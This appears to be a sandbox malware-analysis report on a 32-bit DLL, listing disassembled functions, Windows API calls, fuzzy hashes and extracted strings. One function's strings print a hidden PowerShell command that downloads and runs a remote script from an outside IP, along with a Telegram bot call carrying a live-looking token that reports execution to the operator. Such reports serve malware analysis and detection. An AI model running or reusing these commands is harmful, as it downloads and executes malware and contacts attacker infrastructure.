dllmain_crt_dispatch.LIBCMT ref: 6F951F88
dllmain_raw.LIBCMT ref: 6F951FD0
dllmain_crt_dispatch.LIBCMT ref: 6F951FE3
dllmain_raw.LIBCMT ref: 6F951FF6

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: f39c099539444fd164665c3a7531fb4ba72e803a38b6eaf60135d062b150ed0f
Instruction ID: 12a90bac32d630ebe43dbcbb5dfe6bd070e1fa0829f1c007a7fd4f5244ca9082
Opcode Fuzzy Hash: f39c099539444fd164665c3a7531fb4ba72e803a38b6eaf60135d062b150ed0f
Instruction Fuzzy Hash: 04217171D01715ABDB22CF65C840AAF3A7DEB967A4F014116FC146A2D1D730DDA5CBA0

Function 6F951000 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

task.LIBCPMTD ref: 6F951056
task.LIBCPMTD ref: 6F95105E

Strings

cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, xrefs: 6F951010
powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", xrefs: 6F95101D

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: task
String ID: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -$powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
API String ID: 1384045349-2968791885
Opcode ID: 1ae58ab471330fdb1f05da6f03169599845c29f2ff9a5343fe61446ffa99f7c5
Instruction ID: b0a6ff7db1b291017c8c5855dc18d32104c4796cba38b27d8e520abd0a3aa384
Opcode Fuzzy Hash: 1ae58ab471330fdb1f05da6f03169599845c29f2ff9a5343fe61446ffa99f7c5
Instruction Fuzzy Hash: 56F03070D1030CA7DF44EFA4E9929BE73389F31258F900068B806661E2FF71EA69C691

Function 6F955232 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,6F95522C,00000000,6F954D53,?,?,6417AA48,6F954D53,?), ref: 6F955243
TerminateProcess.KERNEL32(00000000,?,6F95522C,00000000,6F954D53,?,?,6417AA48,6F954D53,?), ref: 6F95524A
ExitProcess.KERNEL32 ref: 6F95525C

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 41b9b31108cba0d11bf0442ceb6e522d1cfa5f4c18075642e3d1fb3e050704f8
Instruction ID: 56aa2e9e73a434e648341db88ae513337887d601ffda823a7a27e729d01ee67d
Opcode Fuzzy Hash: 41b9b31108cba0d11bf0442ceb6e522d1cfa5f4c18075642e3d1fb3e050704f8
Instruction Fuzzy Hash: 73D09E31004604ABEF016F64CC4C9993F2AAF453A97405418B9195A0B6CB75E971DF50

Function 6F951D7D Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F951DCA

Part of subcall function 6F95228C: InitializeSListHead.KERNEL32(6F967C70,6F951DD4,6F965708,00000010,6F951D65,?,?,?,6F951F8D,?,00000001,?,?,00000001,?,6F965750), ref: 6F952291

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6F951E34

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: f64e6f50f4502f81fd2f06a4c8b2b9356389a74d759160b0416409b9866f7635
Instruction ID: dbd21dee974c30aa6a56cc72ae674814fda50462661509d0bfe32484781d4195
Opcode Fuzzy Hash: f64e6f50f4502f81fd2f06a4c8b2b9356389a74d759160b0416409b9866f7635
Instruction Fuzzy Hash: E12102329483119AFF06EFB8A40079C37A19F6372CF10045AD5842B1D3DF32E5B8C662

Function 6F95962C Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6F959678
GetFileType.KERNELBASE(00000000), ref: 6F95968A

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: c95030bf413a9d9a69df89d539d14eee86f152bcba791ef97f0a99dc5a1c4f46
Instruction ID: d7c413c12d01cc5b8ea4633458b3b9626b5e2a664bd3fa8d554baa7349939e05
Opcode Fuzzy Hash: c95030bf413a9d9a69df89d539d14eee86f152bcba791ef97f0a99dc5a1c4f46
Instruction Fuzzy Hash: 9B11E9B1909B4146F730CE3E8C886627EA9AB47230B24071EE0B7865F9C731E4ADC645

Function 6F95AE14 Relevance: 1.6, APIs: 1, Instructions: 89
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000001,?,?,?,00000000,?,00000000,00000001,00000000,?,?,?,?,00000000,?), ref: 6F95AEC9

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7d3127d6624304a4445bd5d3e0ea33e57231481fe0f778f5d46cc567561e9e48
Instruction ID: b6e68c8e5646865891fe3c2e813574348240ee4b87e30bb570054094d9295719
Opcode Fuzzy Hash: 7d3127d6624304a4445bd5d3e0ea33e57231481fe0f778f5d46cc567561e9e48
Instruction Fuzzy Hash: 433118B2C0121CAFDF02DFD9DD809DEBFB9BF18214F54412AE918B2291D7318A64DB65

Function 6F9591F8 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7cebefc460c420e3a101f8bac7c0906097dbc71dc541ce4f6e6f5137b7d6ee9
Instruction ID: 9242681f41b9aca7f2bc8fa335ca995abb737854bfc9102192db69dc204e1c84
Opcode Fuzzy Hash: b7cebefc460c420e3a101f8bac7c0906097dbc71dc541ce4f6e6f5137b7d6ee9
Instruction Fuzzy Hash: CA01BE77258611ABBF06CA6CDD40A563359EBD37707104115F614DB1CCDF31D4218B95

Non-executed Functions

Function 6F9525AB Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6F9525B7
IsDebuggerPresent.KERNEL32 ref: 6F952683
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6F9526A3
UnhandledExceptionFilter.KERNEL32(?), ref: 6F9526AD

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 69cb469e2c0385887cfed3d60eb2c937eee9b5b471f515200a265a1b2e39c88d
Instruction ID: 23ecd557c1dc805c03c3c6812459aa0a4d63baa913363ccb1acc5b8aa5697faf
Opcode Fuzzy Hash: 69cb469e2c0385887cfed3d60eb2c937eee9b5b471f515200a265a1b2e39c88d
Instruction Fuzzy Hash: 5E310775D053189BEB10DFA4C989BCCBBB8BF08304F1040AAE40DAB290EB719A94CF54

Function 6F954D54 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6F954E4C
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6F954E56
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6F954E63

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 918e2b18a93942d316af1ab1def3704264454066df4999102007c104a1f2de5b
Instruction ID: 7fa29acf668cf4abfad764c02a533603007cb5661d3f1fe06b967b604baf4d54
Opcode Fuzzy Hash: 918e2b18a93942d316af1ab1def3704264454066df4999102007c104a1f2de5b
Instruction Fuzzy Hash: 7931D674901328ABDF61DF68D8887CDBBB8BF18350F5041DAE41CA7291EB709B958F45

Function 6F95EE25 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6F95EE20,?,?,00000008,?,?,6F95EA23,00000000), ref: 6F95F052

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 232531a205c420d68fd7a155f371e72de0c3c572bc6ee610a68a75802b8271d0
Instruction ID: dc8ddc5da07c5314fc1acd9a9f3c6405da1e0febb92f932c8624729e42779fd5
Opcode Fuzzy Hash: 232531a205c420d68fd7a155f371e72de0c3c572bc6ee610a68a75802b8271d0
Instruction Fuzzy Hash: 2AB14A36210608DFD715CF28C586B947BE0FF45368F258699E8A9CF2E1C736E9A5CB40

Function 6F952778 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6F95278E

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 337a37a675ef7667079f3cc7710361596d4936e73f9fd28f8d3c879fd3c3b2e7
Instruction ID: 9cf6447d822fc000bfa26f32c671eb46f3013d913d835b7fc15b5f9dfb85226f
Opcode Fuzzy Hash: 337a37a675ef7667079f3cc7710361596d4936e73f9fd28f8d3c879fd3c3b2e7
Instruction Fuzzy Hash: BF518071D196058BFB14CF94C9917A9BBF4FB49320F10886AD555EB380D774E920CFA1

Function 6F957B70 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8476b9d81b8ff57cc1bc19e81a17e9f6ff58743c0827da0bad890c741ab64ec
Instruction ID: 0f6e94c60107f146015db91b3cd18800a44a46272d7e633e1100ea882ee7de2b
Opcode Fuzzy Hash: e8476b9d81b8ff57cc1bc19e81a17e9f6ff58743c0827da0bad890c741ab64ec
Instruction Fuzzy Hash: A641B1B580421DAEDB10DF69CC88AAABBBDEF55304F1082DDE41DD3281DB34DA948F20

Function 6F95955B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6F95955B

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: a0a8fe147f57075af95db94413ee29a5b1a3f3236b89a6a56519139a5fb173c1
Instruction ID: c019a0e94b5b9500e30749e995acaaf17ec3b5fbaa2ec6b1c645c951e5782fab
Opcode Fuzzy Hash: a0a8fe147f57075af95db94413ee29a5b1a3f3236b89a6a56519139a5fb173c1
Instruction Fuzzy Hash: 4CA012302095008B7B604E30430522C39995B035A0301401D9005C0010D6304120CA01

Function 6F957231 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

PATH, xrefs: 6F957308, 6F95730E
\, xrefs: 6F9573AB

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: PATH$\
API String ID: 485612231-1896636505
Opcode ID: 0dece237a43e60d94882afae120587b9ab1020a26d53d64d09a6dd18dffa7308
Instruction ID: bfd6ba309fbbdd3e50862742368b1701835e2fdd745e023c654a87069aadc7be
Opcode Fuzzy Hash: 0dece237a43e60d94882afae120587b9ab1020a26d53d64d09a6dd18dffa7308
Instruction Fuzzy Hash: 0D911A7190430A9EEF15CF64DC40BEE7BB9AF56328F10851AE850AA1C2E771D771CB62

Function 6F9540D9 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6F9541D6
type_info::operator==.LIBVCRUNTIME ref: 6F9541F8
___TypeMatch.LIBVCRUNTIME ref: 6F954307
IsInExceptionSpec.LIBVCRUNTIME ref: 6F9543D9
_UnwindNestedFrames.LIBCMT ref: 6F95445D
CallUnexpected.LIBVCRUNTIME ref: 6F954478

Strings

csm, xrefs: 6F954183
csm, xrefs: 6F954116
csm, xrefs: 6F95422F

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: d72726c23ee046ae4ccc160110ea4db62a36ebe977963449e1ea24ba8276283f
Instruction ID: d68dff75e1d19f502d277b8a782abd22065da85cd44a8ea43081635f370f0c4d
Opcode Fuzzy Hash: d72726c23ee046ae4ccc160110ea4db62a36ebe977963449e1ea24ba8276283f
Instruction Fuzzy Hash: 11B17A71C00209DFCF58CFA8D9A099EB7B9BF55318F10416AE8106B296D731EA72CF91

Function 6F95CD11 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,6F95CFE1,00000000,00000000,00000000,00000001,?,?,?,?,00000001,00000000), ref: 6F95CDB7
__alloca_probe_16.LIBCMT ref: 6F95CE72
__alloca_probe_16.LIBCMT ref: 6F95CF01
__freea.LIBCMT ref: 6F95CF4C
__freea.LIBCMT ref: 6F95CF52
__freea.LIBCMT ref: 6F95CF88
__freea.LIBCMT ref: 6F95CF8E
__freea.LIBCMT ref: 6F95CF9E

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 48d6ee9e6afdb0b9f02c7115d1f366bc5bf7881f417b5b1704fe9b91de0c74f7
Instruction ID: 6427da8743cc68f813d9277217a5a15751a5b07a0a771e4bbca6e80389495599
Opcode Fuzzy Hash: 48d6ee9e6afdb0b9f02c7115d1f366bc5bf7881f417b5b1704fe9b91de0c74f7
Instruction Fuzzy Hash: D771E272A04305ABEF11CEB58C40BEF7BBA9F4A314F14015AED14BB2C1E735E92587A1

Function 6F953010 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6F953047
___except_validate_context_record.LIBVCRUNTIME ref: 6F95304F
_ValidateLocalCookies.LIBCMT ref: 6F9530D8
__IsNonwritableInCurrentImage.LIBCMT ref: 6F953103
_ValidateLocalCookies.LIBCMT ref: 6F953158

Strings

csm, xrefs: 6F9530ED

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6dabe8bd651a882f88858d3b65ba6db7518de8536a96de84c1e85cadb246ec8b
Instruction ID: ead23f0e58b78240c10f663c830149cce8d8a4e8ea26d57c37804581b3eba9f6
Opcode Fuzzy Hash: 6dabe8bd651a882f88858d3b65ba6db7518de8536a96de84c1e85cadb246ec8b
Instruction Fuzzy Hash: C7417234A00319ABDF10CF79C885E9EBBB6AF45368F108159E9149B3D2D732E925CF91

Function 6F953727 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6F9531F1,6F952381,6F951D55,?,6F951F8D,?,00000001,?,?,00000001,?,6F965750,0000000C,6F952086), ref: 6F953735
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6F953743
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6F95375C
SetLastError.KERNEL32(00000000,6F951F8D,?,00000001,?,?,00000001,?,6F965750,0000000C,6F952086,?,00000001,?), ref: 6F9537AE

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: cc2281c019edd921d842ec66aee1f84c51d2aa2c758fc477ff1fb2002e255d74
Instruction ID: 55fdda806f67d341de7e6315f8943b37e07243cf9b6803278666ec7b786dd641
Opcode Fuzzy Hash: cc2281c019edd921d842ec66aee1f84c51d2aa2c758fc477ff1fb2002e255d74
Instruction Fuzzy Hash: 4F01F773A2CB115EBB1095B8ACD7E6A276ADB07779720032EE130D50E1EF51D835AA90

Function 6F957FBD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\system32\loaddll32.exe, xrefs: 6F957FD9

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID:
String ID: C:\Windows\system32\loaddll32.exe
API String ID: 0-1062229814
Opcode ID: a14bb15c37d60a286f0625b893b28e2a2e57ec3d5e5a9c851fc281ae84d76adb
Instruction ID: 1597c5ab29c6056f2b844a429e15773aa7f25723b31fc11314ad33efb6e76bb7
Opcode Fuzzy Hash: a14bb15c37d60a286f0625b893b28e2a2e57ec3d5e5a9c851fc281ae84d76adb
Instruction Fuzzy Hash: 9D219D71218606AFEB24DFB5888099B77ADEF113687008918E919DB1D1EB30EC258BA0

Function 6F953C69 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6F953D2A,00000000,?,00000001,00000000,?,6F953DA1,00000001,FlsFree,6F960E2C,FlsFree,00000000), ref: 6F953CF9

Strings

api-ms-, xrefs: 6F953CB9

Memory Dump Source

